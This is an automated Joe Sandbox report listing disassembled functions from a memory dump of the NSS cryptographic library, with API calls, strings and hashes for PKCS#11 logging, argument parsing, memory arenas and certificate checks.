hKey = 0x%x, xrefs: 6C688F5B, 6C688F6B
pMechanism = 0x%p, xrefs: 6C688EE0
pWrappedKey = 0x%p, xrefs: 6C688FAD
hWrappingKey = 0x%x, xrefs: 6C688F01, 6C688F11
pulWrappedKeyLen = 0x%p, xrefs: 6C688FC8
(CK_INVALID_HANDLE), xrefs: 6C688EAC, 6C688F1F, 6C688F79

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nvl
API String ID: 1003633598-2875670105
Opcode ID: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction ID: c05e45639354678bcf95fd6f34a7c161239e47ce9165580414ea61dd78f9234c
Opcode Fuzzy Hash: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction Fuzzy Hash: 1551A531603108ABDB109F55DE4CF9A7B76AB4634CF084035F9096BA62DB309958CBBE

Function 6C6B4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000,00000000,00000001), ref: 6C6B5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6B5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C6B5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2), ref: 6C6B50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6B50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5153
free.MOZGLUE(?), ref: 6C6B516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B5195

Strings

nss=, xrefs: 6C6B5083
config=, xrefs: 6C6B509B
name=, xrefs: 6C6B5057
library=, xrefs: 6C6B5043
parameters=, xrefs: 6C6B506B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction ID: c088cfdb71abb43f6902931d337e96fa8c2bb2ee761274e8767b72fed6dc0859
Opcode Fuzzy Hash: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction Fuzzy Hash: 5551A5B1A011056BEB00DE64DD45AEE37A8AF16248F140030FC19F7741EB35EA26C7BA

Function 6C6B4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C5B
PR_smprintf.NSS3(6C78AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C6B4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C6B4DA2
free.MOZGLUE(?), ref: 6C6B4DB9
free.MOZGLUE(00000000), ref: 6C6B4DCF

Strings

0x%08lx=[%s %s], xrefs: 6C6B4D80
ootT, xrefs: 6C6B4D1A
any, xrefs: 6C6B4C96
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C6B4D9D
slotFlags, xrefs: 6C6B4D34
rootFlags, xrefs: 6C6B4D47
timeout, xrefs: 6C6B4C91
every, xrefs: 6C6B4CA1
%s,%s, xrefs: 6C6B4C4B
rust, xrefs: 6C6B4D22

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction ID: cc24fd8302f3a4a17570e65b1fd10fcec1edd80f96c817ce2fbd3c31eac68d10
Opcode Fuzzy Hash: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction Fuzzy Hash: B5418DB29011416BDB115F689C446BE3BA5AF82758F144134FC1A2BB01E771E934C7EB

Function 6C696CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C696943
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C696957
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C696972
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C696983
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6969AA
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6969BE
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6969D2
Part of subcall function 6C696910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6969DF
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C696A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696D8C
free.MOZGLUE(00000000), ref: 6C696DC5
free.MOZGLUE(?), ref: 6C696DD6
free.MOZGLUE(?), ref: 6C696DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E72
free.MOZGLUE(?), ref: 6C696EA7
free.MOZGLUE(?), ref: 6C696EC4
free.MOZGLUE(?), ref: 6C696ED5
free.MOZGLUE(00000000), ref: 6C696EE3
free.MOZGLUE(?), ref: 6C696EF4
free.MOZGLUE(?), ref: 6C696F08
free.MOZGLUE(00000000), ref: 6C696F35
free.MOZGLUE(?), ref: 6C696F44
free.MOZGLUE(?), ref: 6C696F5B
free.MOZGLUE(00000000), ref: 6C696F65

Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
Part of subcall function 6C696C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96
Part of subcall function 6C696C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C696FF4

Strings

+`jl, xrefs: 6C696D0D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`jl
API String ID: 1304971872-3317076573
Opcode ID: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction ID: 51ebf55746ee75ca23376b80f47fe103eabd56014f05637eb2b51fc32ab9cc19
Opcode Fuzzy Hash: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction Fuzzy Hash: 8AB15BB0E0530A9FDF40DBA5DC44BAEBBB9AF05359F140025E815E7A10E731E915CBE9

Function 6C641FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C642007
calloc.MOZGLUE(00000001,00000084), ref: 6C642077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6420DF
TlsSetValue.KERNEL32(00000000), ref: 6C642188
PR_NewCondVar.NSS3 ref: 6C6421B7
calloc.MOZGLUE(00000001,00000084), ref: 6C64221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6422C2
GetLastError.KERNEL32 ref: 6C6422CD
free.MOZGLUE(00000000), ref: 6C6422DD

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Strings

X {l, xrefs: 6C64218E
T {l, xrefs: 6C642361

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T {l$X {l
API String ID: 3559583721-736249941
Opcode ID: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction ID: 9a0fdf5ce97a30bab5ef0d2dcc866cade5d3449c233c6a0c7f4f9c54f752b9a3
Opcode Fuzzy Hash: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction Fuzzy Hash: 6E916BB16017019FDB20AF78DC4DBAB7BF4BB06749F10853AE55AD6A40DB70A104CB99

Function 6C65DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65DDDE

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C65DDF5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65DE34
PR_Now.NSS3 ref: 6C65DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C65DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C65DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C65DEF0
PR_smprintf.NSS3(6C78AAF9,(NULL) (Validity Unknown)), ref: 6C65DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C65DF33
free.MOZGLUE(00000000), ref: 6C65DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF4B
free.MOZGLUE(00000000), ref: 6C65DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6C65DEFA
{???}, xrefs: 6C65DE8B
%s%s, xrefs: 6C65DEEB

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction ID: a911e82a0a673f726b3593f5b6b917041a2cd874ef988a083c42badf50be4b04
Opcode Fuzzy Hash: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction Fuzzy Hash: 3C51B2B1E002156BDB00DF659E45AAF7AB8EF85358F644028EC09E7B40E731D925CBF9

Function 6C68AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C68AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AF83

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C68AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C68AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C68AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C68B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C68B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C68B041

Strings

pSignature = 0x%p, xrefs: 6C68B023
hSession = 0x%x, xrefs: 6C68AF5E, 6C68AF6E
nvl, xrefs: 6C68B059, 6C68B093
pulSignatureLen = 0x%p, xrefs: 6C68B03C
C_SignMessage, xrefs: 6C68AF41
pParameter = 0x%p, xrefs: 6C68AFB9
pData = 0x%p, xrefs: 6C68AFEF
ulParameterLen = 0x%p, xrefs: 6C68AFD4
ulDataLen = %d, xrefs: 6C68B00A
(CK_INVALID_HANDLE), xrefs: 6C68AF7C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nvl
API String ID: 1003633598-1382018852
Opcode ID: 99e5c1c3b53c8470ea355d46e1cb68d4f3ec0de84946c4a6efb09cae0f9b7e4d
Instruction ID: bf35ad67a149e4df1a710817b9f3a493dcd075271e7e57e7f7bdb1c540d77e1c
Opcode Fuzzy Hash: 99e5c1c3b53c8470ea355d46e1cb68d4f3ec0de84946c4a6efb09cae0f9b7e4d
Instruction Fuzzy Hash: 7141A575602148AFDB109F55DE4CE8A7BB2AB4630DF084034F9086BA51DB309958CBBE

Function 6C692D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C692DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C692E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000,?), ref: 6C692E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000), ref: 6C692E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EF8
PR_Unlock.NSS3(?), ref: 6C692F62
TlsGetValue.KERNEL32 ref: 6C692F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C692F9E
PR_Unlock.NSS3(?), ref: 6C692FCA
TlsGetValue.KERNEL32 ref: 6C69301A
EnterCriticalSection.KERNEL32(?), ref: 6C69302E
PR_Unlock.NSS3(?), ref: 6C693066
PR_SetError.NSS3(00000000,00000000), ref: 6C693085
PR_Unlock.NSS3(?), ref: 6C6930EC
TlsGetValue.KERNEL32 ref: 6C69310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C693124
PR_Unlock.NSS3(?), ref: 6C69314C

Part of subcall function 6C679180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C67918D
Part of subcall function 6C679180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C6791A0

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

PR_SetError.NSS3(00000000,00000000), ref: 6C69316D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction ID: 5db7b98909653f67d8ccf35584931866b19ac49c434238806d40bbce8ab55597
Opcode Fuzzy Hash: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction Fuzzy Hash: 2EF17CB5D0020AAFDF00DF64D888B9EBBB5BF09318F144169EC09A7721E731E995CB95

Function 6C679FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C679FBE

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C67A015

Part of subcall function 6C691940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C69195C
Part of subcall function 6C691940: EnterCriticalSection.KERNEL32(?,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001), ref: 6C691970
Part of subcall function 6C691940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5), ref: 6C6919A0

